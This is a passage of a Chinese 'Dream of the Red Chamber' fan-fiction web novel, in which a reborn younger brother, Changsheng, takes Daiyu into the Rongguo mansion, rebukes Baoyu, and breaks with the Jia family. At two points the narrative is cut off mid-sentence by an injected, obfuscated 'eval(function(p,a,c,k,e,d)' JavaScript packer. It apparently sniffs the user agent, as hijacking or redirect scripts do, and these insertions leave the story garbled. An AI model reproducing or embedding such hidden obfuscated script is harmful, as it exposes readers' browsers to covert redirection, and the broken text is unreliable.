金山寺殿宇巍峨,香客如织。黛玉在佛前虔诚上香,为亡母供了长明灯,又求了平安符。 长生默默跪在另一侧蒲团上,合十闭目,默祷: “佛祖在上,信男林长生,乃是一缕不该存世的残魂。此去荣国府,龙潭虎穴,祸福难料。长生别无他求,不望富贵,不图寿考,只愿姐姐一世平安喜乐。若那府中果有风雨刀剑,长生愿以身作盾,纵魂飞魄散,亦要为她辟出一条生路。此心此志,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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但每次林长生都有意无意巧妙地把话题牵扯到母亲信中的叮嘱,将那贾宝玉混世魔王“顽劣”、“内帏厮混”、“需远着”的印象,一遍遍加深在黛玉心间。 他做得极自然,黛玉只觉弟弟懂事贴心,浑然不觉对尚未素未谋面的贾宝玉的刻板印象已刻入心底。 这日,船近通州。 长生将黛玉请至自己舱中,屏退下人,指着桌上几个描金锁着的紫檀木小匣,道:“姐姐,这是爹爹私下交给我的。除了明面上那些箱笼,这里另有京城‘阜康’、‘源丰’两家最大票号的银票,共两万两。还有扬州、苏州几处田庄、铺面的地契文书。” 他打开其中一个匣子,里面是满满的金叶子、银锞子,光华熠熠。 黛玉倒抽一口凉气:“这……这么多?” “姐姐,”长生握住她的手,目光灼灼,“这是林家的底气,是爹爹和母亲留给我们的倚仗。你需记住,外祖母家再富贵,是贾家的。这些,才是我们林家的。” “任何时候,任何境况,姐姐都不必为钱财用度看人脸色,委屈自己。该用的用,该花的花,林家的小姐,有这般花用的底气。” 黛玉看着那满匣金银,又看着弟弟郑重的神情,心中的惶惑逐渐消退。 她反握住弟弟的手,一字一句道:“姐姐明白了。我们姊弟,相互扶持。” 次日午后,官船终于缓缓驶入通州码头。 贾府早已得了准信,派了浩浩荡荡一群人来接,领头的是贾母身边得脸的赖嬷嬷,并几个管事媳妇,后面跟着一众青衣小厮、婆子丫鬟,乌压压站了一片。 赖嬷嬷满面堆笑,上前行礼:“给林姑娘、林小爷请安。老太太日日念叨,可算把姑娘和小爷盼来了!一路上可还顺利?快请换轿,府里一切都预备妥当了。” 黛玉微微颔首,仪态端庄,牵着长生的手,缓步下船。她今日穿了一身月白绫子绣折枝梅的袄裙,外罩莲青斗纹锦缎披风,通身上下并无过多饰物,只鬓边簪一朵小白绒花,清雅素净至极。 长生立在她身侧,一身天青色素缎袍子,衬得小脸愈发苍白,打量着眼前这群贾府仆役,不闪不避。 赖嬷嬷偷眼打量这姐弟二人,心中暗忖:早听说林家小姐体弱,这小公子更是险些夭折的病秧子。如今看来,这通身的气派,倒不像那等好拿捏的孤女弱弟。 赖嬷嬷面上笑容不由更殷勤几分,亲自打起轿帘。 黛玉与长生各乘一顶青绸小轿。 轿帘放下,将外间的喧嚣与无数探究的目光隔开。 长生透过轿帘缝隙,看着贾府下人忙着搬运那些沉甸甸的箱笼行李,嘴角勾起一丝极的笑意。 轿子起行,吱呀吱呀,驶向那繁华深处的荣国府。 街道两旁人声渐沸,轿帘轻轻晃动,透过缝隙,窥见街市繁华渐次被高墙深院取代。 不知行了多久,轿子终于稳稳落地。 外头一阵细碎的脚步与低语声,随即轿帘被轻轻打起,方才那赖嬷嬷带着恭敬与热络的声音:“姑娘,小爷,到府了。请下轿。” 黛玉扶着紫鹃的手,缓缓下轿,长生紧随其后。眼前是两扇朱漆兽头大门,巍峨轩峻,门前列坐着十来个华冠丽服之人,俱是屏息静气。 正门却不开,只走西边角门,早有婆子抬了青绸小轿在门内候着,黛玉与长生复又上轿。 轿子抬着,又行了约一射之地,方换了三四个衣帽周全的小厮上来,复又抬起,转弯过了一座垂花门,两边是抄手游廊,当中是穿堂,当地放着一个紫檀架子大理石的大插屏。转过插屏,小小的三间厅,厅后就是后面的正房大院。 院中甬路相衔,山石点缀,树木葱茏。正面五间上房,皆是雕梁画栋,两边穿山游廊厢房,挂着各色鹦鹉、画眉等鸟雀。 台阶上坐着几个穿红着绿的丫头,一见他们来了,便都笑迎上来,说:“刚才老太太还念呢,可巧就来了。” 于是三四人争着打起帘栊,一面听得人回话:“林姑娘和林小爷到了。” 黛玉心知这是外祖母正房了,不由屏息,手心里微微沁出汗来。长生却不着痕迹地轻轻握了握她的手,随即松开。 姐弟二人方迈步进房,只见两个人搀着一位鬓发如银的老母迎上来,黛玉知是外祖母了,方欲拜见,早被外祖母一把搂入怀中,“心肝儿肉”叫着大哭起来。 黛玉也哭个不住。 一时众人慢慢解劝住了,黛玉方拜见了外祖母。 贾母又搂过长生,见他身子单薄,小脸苍白,想起早逝的女儿,又是一阵心酸,眼泪滚下来:“我的儿,竟也这般大了…可怜你娘…”话未说完,哽咽难言。 长生依礼见过,举止沉静,并无孩童怯懦之态。 当下贾母一一指与黛玉、长生:“这是你大舅母,这是你二舅母,这是你先珠大哥的媳妇珠大嫂子。” 黛玉、长生一一拜见过。 贾母又道:“请姑娘们来。今日远客才来,可以不必上学去了。” 众人答应了一声,便去了两个。 不过一盏茶功夫,只听后院中有笑语声,说:“我来迟了,不曾迎接远客!” 黛玉与长生皆纳罕:“这些人个个皆敛声屏气,恭肃严整如此,这来者系谁,这样放诞无礼?” 心下想时,只见一群媳妇丫鬟围拥着一个彩绣辉煌,恍若神妃仙子的人从后房门进来。 这个人打扮与众姑娘不同: 头上戴着金丝八宝攒珠髻,绾着朝阳五凤挂珠钗;项上戴着赤金盘螭璎珞圈;裙边系着豆绿宫绦,双衡比目玫瑰佩;身上穿着缕金百蝶穿花大红洋缎窄裉袄,外罩五彩刻丝石青银鼠褂;下着翡翠撒花洋绉裙。一双丹凤三角眼,两弯柳叶吊梢眉,身量苗条,体格风骚,粉面含春威不露,丹唇未启笑先闻。 黛玉与长生心中同时一动,这通身的气派,这先声夺人的声势…… 只见那人已至贾母跟前,贾母笑道:“你不认得她,她是我们这里有名的泼皮破落户儿,俗谓作辣子,你只叫她‘凤辣子’就是了。” 黛玉正不知如何称呼,长生却已垂下眼帘,掩去眸中一抹深色。 是了,王熙凤。 这一世,他们终于见面了。 3. 摔玉明心志 且说那王熙凤拉着黛玉的手,上下细细打量了一回,仍送至贾母身边坐下,笑道:“天下真有这样标致的人物,我今儿才算见了!况且这通身的气派,竟不像老祖宗的外孙女儿,竟是个嫡亲的孙女,怨不得老祖宗天天口头心头一时不忘。只可怜我这妹妹这样命苦,怎么姑妈偏就去世了!”说着,便用帕子拭泪。 贾母笑道:“我才好了,你倒来招我。你妹妹远路才来,身子又弱,也才劝住了,快再休提前话。” 这熙凤听了,忙转悲为喜道:“正是呢!我一见了妹妹,一心都在她身上,又是喜欢,又是伤心,竟忘了老祖宗了。该打,该打!” 又忙携黛玉之手,问:“妹妹几岁了?可也上过学?现吃什么药?在这里不要想家,想要什么吃的、什么玩的,只管告诉我。丫头老婆们不好了,也只管告诉我。” 一面又问婆子们:“林姑娘的行李东西可搬进来了?带了几个人来?你们赶早打扫两间下房,让他们去歇歇。” 说话时,已摆了茶果上来,熙凤亲为捧茶捧果。 又见黛玉身边只跟着一个奶娘王嬷嬷并十岁的小丫头雪雁,贾母便道:“伺候的丫头们也太弱了,我房里几个丫鬟,都是好的,拨两个去服侍外孙女儿罢。” 话音未落,却听一个清亮的童音响起:“外祖母慈爱,长生替姐姐谢过。只是……” 众人循声望去,只见那一直静坐的林家长子长生,放下手中茶盏,缓缓起身,朝贾母恭恭敬敬作了一揖。 他身量尚小,一身素缎袍子略显宽大,立在金碧辉煌的荣庆堂中,却自有沉静气度。 “只是什么?”贾母和颜悦色地问。 长生抬起小脸,目光澄澈:“只是林家祖训有云:男儿七岁,当以诗书为业,婢仆环绕,易生怠惰之心。长生虽年幼,亦不敢忘本。姐姐身边,有紫鹃、雪雁几个旧人伺候,已尽够了。再多添人,恐分心扰神,误了进学之功。还望外祖母体谅。” 堂上一静。 这话说得滴水不漏,恭敬有礼,却明明白白将贾母的“赏赐”挡了回去。 更妙的是,那句“婢仆环绕,易生怠惰之心”,在这钟鸣鼎食、仆婢成群的荣国府里,听来竟有几分刺耳。 王夫人坐在下首,手中佛珠微微一顿,抬眼看了长生一瞬,那眼神平静无波,深不见底。 贾母倒不以为忤,反而笑道:“好孩子,难为你小小年纪,就懂得这些道理。可见你父亲教导有方。” 又对黛玉道:“既如此,你弟弟身边,也该有几个妥当人伺候。我瞧着他身子单薄,更需仔细照料。” 长生却再次躬身:“谢外祖母挂心。长生身边有林安、林平两个老仆,皆是自扬州跟来的,熟知长生饮食起居、用药忌讳,已是足用。再者——” 他顿了顿,“长生此来京城,一为陪伴姐姐,全骨肉之情;二为进学读书,不负林家书香门第。若为起居小事,劳动外祖母与舅母们费心调配人手,长生心中实在不安。不若将这份心力,容长生潜心向学,早日有所进益,方是正道。” 这一番将“读书进学”抬到高处,堵得众人再无话可说。贾母只能点头笑道:“好好,真是个有出息的孩子。既如此,便依你。” 邢夫人、王夫人等皆含笑称是,笑容底下各藏心思。 一时茶毕,贾母命两个老嬷嬷带了黛玉、长生去见两个母舅。 邢夫人忙起身,笑回道:“我带了外甥女、外甥过去,倒也便宜。” 贾母笑道:“正是呢,你也去罢,不必过来了。” 邢夫人答应了一声“是”,遂带了黛玉、长生,与王嬷嬷、紫鹃、雪雁,并林安、林平两个老仆,出了荣庆堂。 一行人往东过荣府正门,入一黑油大门中,至仪门前方下来。众小厮退出,方打起车帘,邢夫人携了黛玉、长生的手,进入院中。 黛玉见这院宇房屋,虽不及荣庆堂轩峻壮丽,却也是厅厦俱全,另是一番气象。 进入正室,早有盛妆丽服之姬妾丫鬟迎着。 邢夫人让黛玉、长生坐了,一面命人到外面书房去请贾赦。 一时人来回话说:“老爷说了:‘连日身上不好,见了姑娘、哥儿彼此倒伤心,暂且不忍相见。劝姑娘、哥儿不要伤心想家,跟着老太太和舅母,即同家里一样。姊妹们虽拙,大家一处伴着,亦可以解些烦闷。或有委屈之处,只管说得,不要外道才是。’” 黛玉、长生忙站起来,一一听了。 再坐一刻,便告辞。邢夫人苦留吃过晚饭去,黛玉、长生笑回道:“舅母爱惜赐饭,原不应辞,只是还要过去拜见二舅舅,恐领了赐去不恭,异日再领,未为不可。望舅母容谅。” 邢夫人听说,笑道:“这倒是了。”遂令两三个嬷嬷用方才的车好生送了过去。 于是黛玉、长生告辞,又往西,穿过荣府仪门内的一个东西穿堂,向南大厅之后,仪门内大院落,上面五间大正房,两边厢房鹿顶耳房钻山,四通八达,轩昂壮丽,比贾母处不同。 黛玉便知这方是正经正内室,一条大甬路,直接出大门的。进入堂屋中,抬头迎面先看见一个赤金九龙青地大匾,匾上写着斗大的三个字,是“荣禧堂”,后有一行小字:“某年月日,书赐荣国公贾源”,又有“万几宸翰之宝”。 大紫檀雕螭案上,设着三尺来高青绿古铜鼎,悬着待漏随朝墨龙大画,一边是金蜼彝,一边是玻璃海。 地下两溜十六张楠木交椅,又有一副对联,乃乌木联牌,镶着錾银的字迹,道是: 座上珠玑昭日月,堂前黼黻焕烟霞。 下面一行小字,道是:“同乡世教弟勋袭东安郡王穆莳拜手书。” 黛玉、长生正看,忽见门外丫头报:“太太来了。” 只见王夫人从后房门被一群丫鬟簇拥着进来。黛玉、长生忙起身见礼。 王夫人却不往正座,只往东边让黛玉、长生坐了。 她自己在西边下首坐了,因说:“你舅舅今日斋戒去了,再见罢。只是有一句话嘱咐你,我有一个孽根祸胎,是家里的‘混世魔王’,今日因往庙里还愿去,尚未回来,晚间你看见便知了。你只以后不要睬他,你这些姊妹都不敢沾惹他的。” 黛玉、长生闻言,皆起身垂手。 长生抬眼,神色平静:“敢问二舅母,这位表兄,可是衔玉而生的宝玉表哥?” 王夫人一怔,点头道:“正是。” 长生便道:“舅母教诲,长生与姐姐谨记在心。来时路上,姐姐也曾翻阅母亲生前家信,信中母亲亦曾叮嘱,说宝玉表兄性子跳脱,不喜拘束,让我们……远着些,以免扰了表兄清净,也免生事端。如今既得舅母亲口嘱咐,我们姐弟自当遵从,在府中定会谨言慎行,避而远之,绝不给舅母添烦。” 这话说得恭顺无比,将“远离宝玉”的缘由,一半归到亡母遗训,一半归到王夫人嘱咐,自己与姐姐倒成了最懂事守礼的。 王夫人本意是敲打这新来的外甥女、外甥,莫要带坏了她的宝玉,此刻被长生一番话堵回来,竟是半个“不”字也说不出口,胸口微微发闷,只强笑道:“好孩子,你们明白就好。” 正说着,忽有丫鬟来回:“老太太那里传晚饭了。” 王夫人忙携了黛玉、长生,赶往贾母后院来。 彼时李纨、迎春、探春、惜春都已在了。 见黛玉、长生进来,忙都起身相见。 众人见黛玉年纪虽小,其举止言谈不俗,身体面庞虽怯弱不胜,却有一段自然的风流态度,便知她有不足之症。因问:“常服何药,如何不急为疗治?” 黛玉道:“我自来是如此,从会吃饮食时便吃药,到今日未断,请了多少名医修方配药,皆不见效。那一年我三岁时,听得说来了一个癞头和尚,说要化我去出家,我父母固是不从。他又说:‘既舍不得她,只怕她的病一生也不能好的了。若要好时,除非从此以后总不许见哭声,除父母之外,凡有外姓亲友之人,一概不见,方可平安了此一世。’疯疯癫癫,说了这些不经之谈,也没人理他。如今还是吃人参养荣丸。” 长生在一旁静静听着,待黛玉说完,方补充道:“姐姐的病需静养。那和尚虽言语荒诞,但‘不见哭声’四字,家中长辈是记在心上的。故长生平日,最不敢惹姐姐伤心。” 他将黛玉“不能见哭”的禁忌,在众人面前点明。 贾母听了,便道:“正好,我这里正配丸药呢。叫他们多配一料就是了。” 一语未了,只听后院中有人笑声,说:“我来迟了,不曾迎接远客!” 长生心中微动。来了。 只见一群媳妇丫鬟围拥着一个人从后房门进来。这个人打扮与众姑娘不同,彩绣辉煌,恍若神妃仙子。正是方才见过的凤姐。她一来,便说笑一阵,屋里气氛顿时活络不少。 说话时,已摆了茶果上来。 正要用饭,忽听外边一阵脚步响,丫鬟进来笑道:“宝玉来了!” 黛玉心下正疑惑着:“这个宝玉,不知是怎生个惫懒人物,懵懂顽童?倒不见那蠢物也罢了。” 心中想着,忽见丫鬟话未报完,已进来了一位年轻的公子: 头上戴着束发嵌宝紫金冠,齐眉勒着二龙抢珠金抹额;穿一件二色金百蝶穿花大红箭袖,束着五彩丝攒花结长穗宫绦,外罩石青起花八团倭缎排穗褂;登着青缎粉底小朝靴。 面若中秋之月,色如春晓之花,鬓若刀裁,眉如墨画,面如桃瓣,目若秋波。 虽怒时而若笑,即瞋视而有情。项上金螭璎珞,又有一根五色丝绦,系着一块美玉。 黛玉一见,便吃一大惊,心下想道:“好生奇怪,倒像在那里见过一般,何等眼熟到如此!” 只见这宝玉向贾母请了安,贾母便命:“去见你娘来。” 宝玉即转身去了。 一时回来,已换了冠带。 贾母因笑道:“外客未见,就脱了衣裳,还不去见你妹妹!” 宝玉早已看见多了一个姊妹,便料定是姑妈之女,忙来作揖。厮见毕归坐,细看形容,与众各别: 两弯似蹙非蹙罥烟眉,一双似喜非喜含情目。态生两靥之愁,娇袭一身之病。泪光点点,娇喘微微。闲静时如姣花照水,行动处似弱柳扶风。心较比干多一窍,病如西子胜三分。 宝玉看罢,因笑道:“这个妹妹我曾见过的。” 贾母笑道:“可又是胡说,你又何曾见过她?” 宝玉笑道:“虽然未曾见过她,然我看着面善,心里就算是旧相识,今日只作远别重逢,亦未为不可。” 贾母笑道:“更好,更好,若如此,更相和睦了。” 宝玉便走近黛玉身边坐下,又细细打量一番,因问:“妹妹可曾读书?” 黛玉道:“不曾读,只上了一年学,些须认得几个字。” 宝玉又道:“妹妹尊名是那两个字?” 黛玉便说了名。 宝玉又问表字,黛玉道:“无字。” 宝玉笑道:“我送妹妹一妙字,莫若‘颦颦’二字极妙。” 探春便问:“何处出典?” 宝玉道:“《古今人物通考》上说:‘西方有石名黛,可代画眉之墨。’况这林妹妹眉尖若蹙,用取这两个字,岂不两妙!” 探春笑道:“只恐又是你的杜撰。” 宝玉笑道:“除《四书》外,杜撰的太多,偏只我是杜撰不成?” 众人皆笑。 黛玉垂眸不语,长生却搁下了手中茶盏。 那白玉瓷盏底碰在紫檀小几上,一声轻响,不高,却让近处的几人侧目。 “表哥。”长生开口,声音清亮。 宝玉转过脸,这才注意到黛玉身旁这个一直沉默的男孩。只见他面色苍白,身形单薄,正静静看着自己。 “这位是……”宝玉问。 “这是林家长子,黛玉的弟弟,长生。”贾母忙道,“比你小着几岁,你该唤表弟。” 宝玉这才恍然,笑道:“原来是林家表弟。方才只顾着和妹妹说话,倒冷落了你。” 长生微微一笑,那笑意却未达眼底:“表哥言重了。长生有一事请教表哥。” “何事?” “表哥方才要为姐姐取字‘颦颦’,想来是熟读诗书,精通礼乐的。”长生语气平和,甚至带着几分“请教”的诚恳,“却不知,表哥自己可有表字?” 堂上一静。 宝玉脸上的笑容淡了些。 他今年不过十三四岁,尚未到取字的年纪,世家子弟,多在弱冠时由长辈赐字。 长生此问,看似平常,实则尖锐,你一个自己都没有表字的人,凭什么逾矩为初次见面的表妹取字?这不仅是无礼,更是僭越。 宝玉脸上有些挂不住,强笑道:“我还不曾取字。” “原来如此。”长生点点头,恍然大悟,随即又道,“那表哥觉得,‘纨绔’二字如何?《汉书》有云:‘纨绔子弟,不学无术。’我看表哥通身气派,这二字,倒也贴切。不若长生今日,便替表哥取了这个字,可好?” “轰”的一声,如晴天霹雳在荣庆堂炸开。 纨绔子弟,不学无术! 这八个字,像八个响亮的耳光,狠狠甩在宝玉脸上,更是甩在了整个荣国府“溺爱宝玉”的脸面上。 王夫人手中的茶盏猛地一晃,茶水泼湿了裙裾。 贾母脸色一沉。 邢夫人、王熙凤等人,皆变了颜色。 宝玉何曾受过这等奚落?一张俊脸涨得通红,指着长生,气得浑身发抖:“你、你……” “我如何?”长生站起身。 他身量尚不及宝玉肩膀,句句却清晰:“圣人云:不知礼,无以立也。表哥与姐姐初次见面,不问安好,不叙家常,开口便要为她取字,此乃一不礼。自己尚无功名,未及冠岁,便妄论他人表字,此乃二不礼。长生虽年幼,也知‘非礼勿言’的道理。今日以‘纨绔’二字回赠表哥,是想提醒表哥,莫要忘了诗书礼义,才是立身之本。表哥觉得,长生说得可对?” 他这番引经据典,条理分明,特意将“取字”一事上升到“礼”的高度,将自己置于维护礼教的一方,倒让宝玉成了无理取闹的顽童。 宝玉气得说不出话,忽然一把扯下颈上那通灵宝玉,狠命往地上一摔,骂道:“什么罕物,连人之高低不择,还说通灵不通灵呢!我也不要这劳什子了!” 这一下变生肘腋,众人都吓了一跳。 袭人等丫鬟忙上前搂住他,哭道:“何苦来,你摔砸那哑巴物件。有砸它的,不如来砸我。” 贾母也急得搂了宝玉道:“孽障!你生气,要打骂人容易,何苦摔那命根子!” 宝玉满面泪痕,哭道:“家里姐姐妹妹都没有,单我有,我说没趣。如今来了这么一个神仙似的妹妹也没有,可知这不是个好东西。” 贾母忙哄他道:“你这妹妹原有这个来的,因你姑妈去世时,舍不得你妹妹,无法可处,遂将她的玉带了去了。一则全殉葬之礼,尽你妹妹的孝心;二则你姑妈之灵,亦可权作见了女儿之意。因此她只说没有这个,不便自己夸张之意。你如今怎比得她?还不好生慎重带上,仔细你娘知道了。” 说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“外祖母用母亲的死,来哄表哥开心。长生想问,在您心里,我母亲的命,我姐姐的孝心,是不是还比不上一块石头,比不上一场胡闹?” “你、你胡说些什么!”王夫人霍然起身,脸色铁青。 “我是不是胡说,舅母心里清楚。” 长生看也不看她,目光只盯着贾母,“长生虽年幼,也读过《礼记》。上面说:‘男女七岁不同席’。表哥今年多大了?方才进来,不问安,不见礼,径直坐到姐姐身边,言语轻佻,举止逾矩,这便是我诗礼传家的荣国府的规矩?这便是表哥口中所说的‘旧相识’、‘远别重逢’?” 他转向宝玉:“表哥,你可知道,你方才所为,若在外头,该当何罪?登徒子之讥,都是轻的!” “登徒子”三字一出,宝玉如遭雷击,脸色惨白如纸。满屋女眷,更是神色大变,这话太重了,重到足以毁了一个世家子弟的名声。 “长生!住口!”贾母气得浑身发抖,指着长生,“你、你疯了不成!” “疯?”长生扯了扯嘴角,笑容讥讽,“外祖母,长生没疯。长生只是忽然明白了,这荣国府,不是我和姐姐该待的地方。” 他转身,走到黛玉身边,握住姐姐冰凉颤抖的手,握得很紧。 林长生抬起头,目光扫过满堂诸人,惊怒的贾母,铁青的王夫人,愕然的邢夫人,若有所思的王熙凤,惶恐的姊妹们,还有那瘫坐在地、失魂落魄的宝玉。 一字一句,斩钉截铁: “林家姐弟,今日便告辞了。” “我们,不住这里。” “林家在京城,有宅子,有仆人,有祖宗留下的产业,姐姐的清誉,长生的前程,不劳外祖母和舅母们费心。” “从今日起,我们姐弟,自立门户。” 说完,他拉着黛玉,转身就走。 “站住!”贾母厉喝,“你们敢!” 长生脚步一顿,却没有回头,声音清晰地传回来: “外祖母,长生今日所言所行,若有半分不当,他日父亲问起,或林氏宗族追究,长生一力承担。但若有人,敢再以我母亲之名,行轻侮之事,敢再以‘兄妹’之名,损我姐姐清誉——” 他微微侧过脸,半张苍白的小脸,在烛光下阴暗参半,竟有几分邪性,阴森森开口: “长生虽年幼,亦知‘以血洗辱’四字,如何书写。” 满堂皆寒。 黛玉任由弟弟牵着,走到门口。 她忽然停下脚步,回过头。 脸上泪痕未干,眼神却是一片清明冷澈。 她看着贾母,看着这一屋子所谓的“亲人”,缓缓开口,声音很轻,却让每个人都听得清清楚楚: “外祖母,舅母,今日我们姐弟进门,一不图荣华,二不慕富贵,只念着血脉亲情。可如今看来,倒是我们想错了。” “母亲若在天有灵,看见她的母亲,用她的死来哄孙子开心,看见她的女儿,被她的侄子轻慢取笑,不知该是何等心痛。” “这府里的饭,我们吃不起。这府里的情,我们……也受不起。” “从今往后,林家是林家,贾家是贾家。我们姐弟,宁饿死街头,也绝不再踏进这府门一步,免得——” 她顿了顿,吐出的话,字字如刀: “免得被人当成打秋风的穷亲戚,平白污了各位的眼。” 言毕,她再不回头,与长生并肩,一步步走出这金碧辉煌的荣庆堂。 紫鹃、雪雁、王嬷嬷,并林安、林平两个老仆,默默跟上。林安经过那摔碎的茶盏时,脚步微顿,弯腰,小心翼翼地从碎片中,拾起一片最大的、印着林家暗记的瓷片,揣入怀中。 一行人,在满堂死寂与无数道惊愕目光的注视下,穿过穿堂,走过甬路,出了垂花门,出了角门,出了那两扇朱漆兽头大门。 门外,林家的马车静静等候。暮色四合,华灯初上,荣宁街上一片繁华景象。 长生扶黛玉上了车,自己随后上去,车帘放下,隔绝了外间一切。 马车缓缓驶动,离开荣国府,驶入夜色。 车厢里,黛玉终于再也支撑不住,伏在弟弟肩上,无声痛哭,浑身颤抖。 长生紧紧搂着姐姐,小手一下下拍着她的背,如同幼时母亲哄他们入睡那般。 “姐姐,不哭。”他声音很轻,“从今往后,长生护着你,我们靠自己。” 黛玉哭得说不出话,只用力点头。 马车穿过一条条街道,最终停在一座黑漆大门前。 门匾上两个朴拙的大字:“林府”。 这是林如海早年在京为官时置下的宅院,一直有老仆看守打理。虽不及荣国府轩峻,却也是三进院落,清静雅致。 林安早已提前派人过来收拾妥当,姐弟二人下了车,早有仆妇迎上来。 宅子里灯火通明,陈设虽不奢华,却样样洁净周全,透着家的气息。 长生扶着黛玉走进正堂,在母亲贾敏的牌位前,郑重跪下。 “母亲,”长生看着那漆黑的牌位,一字一句道,“儿子今日,带姐姐从荣国府出来了。” 黛玉泣不成声,也重重磕下头去。 林府新立,姐弟二人如何在京城立足?贾府风波未平,贾母、王夫人等人会如何反应?那“摔玉”与“摔杯”的风波,又将如何传遍京城?而暗处,是否已有目光,盯上了这对“胆大包天”的林家姐弟?且看下回分解。 4. 立门户稚子稳根基 却说那林家姐弟连夜离了荣国府,回到自家京中旧宅。宅中留守的老仆林福早已得了信,领着几个老成的下人将宅院内外洒扫干净,灯火点得通明,厨下备了热汤热饭,静候小主人归来。 黛玉下了车,见宅子虽不宏丽,却庭轩清寂,花木扶疏,廊下悬着几盏素纱灯,昏黄的光晕在夜风中微微摇曳,倒比那富丽堂皇的荣国府多了几分家的暖意,心中酸楚稍平。 长生扶她至正堂,早有仆妇奉上温水手巾,姐弟二人略作梳洗。 林福上前禀道:“姑娘,小爷,正房三间早已收拾妥帖,东间是姑娘的闺房,西间给小爷住,中间明间可作起居。后头小厨房的刘嬷嬷是扬州跟来的,最知姑娘和小爷口味,已熬了冰糖燕窝粥,煨在灶上。各房被褥皆是新拆洗的,熏了姑娘素日爱的冷梅香。” 黛玉点头:“有劳福伯。” 长生却道:“福伯,今夜起,内外门户需严加看守。白日轮值,夜间加派双岗。凡有生人靠近,或收到不明拜帖,一律先来回我,再作定夺。” 他声音稚嫩,语气沉稳老练,“明日一早,你拿我的名帖,去顺天府衙门报备,就说巡盐御史林如海之子、女抵京,暂居旧宅。再打点几份得体的礼,送到与父亲相熟的几位世伯府上,只说我与姐姐年少,不便亲往拜会,待安顿妥当,再行补礼。” 林福心中暗惊,小爷不过五岁,行事竟如此周全体面,忙躬身应下:“是,老奴明白。” 用罢宵夜,黛玉已是身心俱疲,紫鹃、雪雁服侍她歇下。 长生却不肯就寝,命林安掌灯,将林福及几个要紧仆役唤至书房。 烛光下,长生小小身形坐在宽大的紫檀木椅中,面前摊着宅院的图纸、下人名册、及林如海暗中交付的京中产业账目。 他抬眼看向众人,目光清亮: “今夜之事,诸位想必已有所闻,我便直说从今往后,林家与荣国府,桥归桥,路归路。我与姐姐既自立门户,便需有门户的规矩。” “府中下人,凡有与荣国府私下往来、递送消息者,一经查实,即刻发卖,绝不容情。” “日常用度,一切从简。但姐姐饮食医药,需用最好的。我的开销,能省则省。” “对外言辞需谨慎,若有人问起今夜之事,只道姐弟年幼,恐扰外祖母清静,故暂居旧宅以尽孝心,其余一概不知。” 他顿了顿,从袖中取出一个小小锦囊,倒出几片金叶子,推至林福面前:“这些,是给今夜当值诸人的辛苦钱。往后,只要大家尽心尽力,林家绝不会亏待。但若有二心——” 他不再说下去,只静静看着众人。 几个经年的老仆脊背生寒,忙不迭躬身表态:“小爷放心,我等誓死效忠林家,绝无二心!” “去吧。”长生挥挥手。 众人退下,书房里只剩长生一人。 他推开窗,夜风带着深秋的寒意卷入,吹得烛火明灭不定。 远处,荣国府的方向仍有灯火璀璨,丝竹之声隐约可闻。 长生闭上眼,眼前浮现出贾母搂着宝玉哄劝的模样,浮现出王夫人那深不见底的眼神,浮现出满堂所谓的“亲人”惊愕却无人真正为他们说一句话的神情。 他握紧了拳,指甲深深陷进掌心。 还不够。 今日的决裂,只是开始。荣国府那潭深水,绝不会轻易放过他们这两个“不识抬举”的外姓子弟。往后的明枪暗箭,只会更多,更毒。 但他不怕。 前世,他只是一缕无能为力的游魂,眼睁睁看着姐姐走向毁灭。这一世,他既回来了,便要有足够的力量,护她周全。 “姐姐,”他对着窗外夜色喃喃自语,“这一世,长生能带你出荣国府,也能让你长命百岁。” 与此同时,荣国府内一片狼藉。 荣庆堂中,碎玉与碎瓷尚未收拾干净。 贾母歪在榻上,面色铁青,胸口不住起伏。 王夫人、邢夫人、王熙凤并李纨、三春姊妹皆垂手侍立,大气不敢出。 宝玉已被袭人等搀回怡红院,只是哭闹不止,袭人、麝月等轮番哄劝,也无济于事。 “反了,真是反了!” 贾母终于喘匀了气,重重一拍炕几,“我活了这么大年纪,还没见过这等不知礼数、不敬尊长的孽障!林如海是怎么教的儿子!” 王夫人捻着佛珠,垂眸道:“老太太息怒。长生那孩子年纪小,许是一时意气。只是……” 她顿了顿,“他说的那些话,实在太过骇人,若传出去,宝玉的名声……” “他还敢提名声!”贾母怒道,“当着满屋子人的面,摔杯骂人,还带了他姐姐就走,这又将我贾家的脸面置于何地?将我这外祖母置于何地!” 邢夫人忙上前劝道:“老太太保重身子,那两个孩子不懂事,何必与他们一般见识?只是他们这一走,外头人若知道了,还不知要怎么议论咱们家呢。” “议论?”贾母冷笑,“他们敢!林家在京城有什么根基?两个黄口小儿,离了贾府,我看他们能撑几日!到时候吃了苦头,自然要回来求我!” 王熙凤一直垂首不语,此刻眼珠转了转,上前温声道:“老祖宗说得是。只是眼下,咱们得先把家里这场风波平息了。今日在场人多口杂,需得嘱咐下去,今夜之事,谁也不许往外传一个字。若有那起子乱嚼舌根的,立刻打发了出去。” 贾母点头:“凤丫头说得是。你去料理。” 王熙凤应了,自去安排。 贾母又对王夫人道:“你明日,亲自去一趟林家那宅子,到底是敏儿的孩子,总不能真让他们流落在外。好言劝他们回来,今日之事,我便不追究了。” 王夫人心中一百个不情愿,却也只能应下。 待众人散去,贾母独留王熙凤说话。 “凤丫头,你看长生那孩子。”贾母疲惫揉着额角。 王熙凤沉吟片刻,道:“老祖宗,不是孙媳妇多嘴,那林家小爷,实在不似个五岁的孩童。您看他今日那番话,引经据典,句句占着‘理’字。摔杯那一下,更是狠绝。这心性…倒像是经了多少事似的。” 贾母沉默良久,叹道:“我何尝不知?只是他这般做派,将宝玉至于何地?将贾家至于何地?若纵容下去,日后还得了?” 王熙凤心中明镜一般,老太太疼黛玉是真,但宝玉才是她的命根子。长生今日触了宝玉,更触了贾府的颜面,老太太心中那点怜惜,早已被恼怒取代。 